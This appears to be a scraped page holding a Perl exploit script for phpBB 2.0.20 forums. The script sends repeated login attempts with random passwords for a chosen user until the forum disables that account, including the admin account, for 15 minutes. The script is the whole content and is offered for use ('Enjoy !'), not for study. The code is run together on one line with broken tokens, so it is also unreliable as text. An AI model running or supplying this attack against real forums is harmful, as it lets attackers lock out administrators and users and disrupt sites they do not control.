GeeBee.Org

## getdb.php begin## getdb.php end

################################################## ##################################!/usr/bin/perl# For PHPBB 2.0.20# This Exploit Disable Admin Or other User IN PHPBB Forums For 15 Min# Discover & Writ By : Hossein-Asgari# http://simorgh-ev.com# Comment : PHPBB 2.0.18 Secured Bruteforce Cracking Password !# BUT :# If anybody Bruteforce TO ADMIN Account Admin Account Is Disable .# Enjoy !# Advisory : http://www.simorgh-ev.com/advisory/2...e-admin.pl.txt################################################## #################################$host=$ARGV[0];$dirc=$ARGV[1];$port=$ARGV[2];$user=$ARGV[3];$dirsend = "$dirc" . "login.php";print "-------------------------------------phpbb-Disable-user.php --------------------------------------";$i=1;if ($host ne ""){while($OK ne 1){use IO::Socket;my($socket) ="";if ($socket = IO::Socket::INET->new(PeerAddr => $host ,PeerPort => $port ,Proto => "TCP")){$password=rand();$data = "username="."$user"."&password="."$password"."&red irect=&login=Connexion";$length = length $data;print $socket "POST $dirsend HTTP/1.1Host: $hostContent-Type: application/x-www-form-urlencodedContent-Length: $length$data";read $socket, $answer, 15;close($socket);}if($answer =~ /HTTP/(.*?) 302/){$OK = 1;}$i=$i+"1";print "$answer";print "Send Packet $i ...." ;}}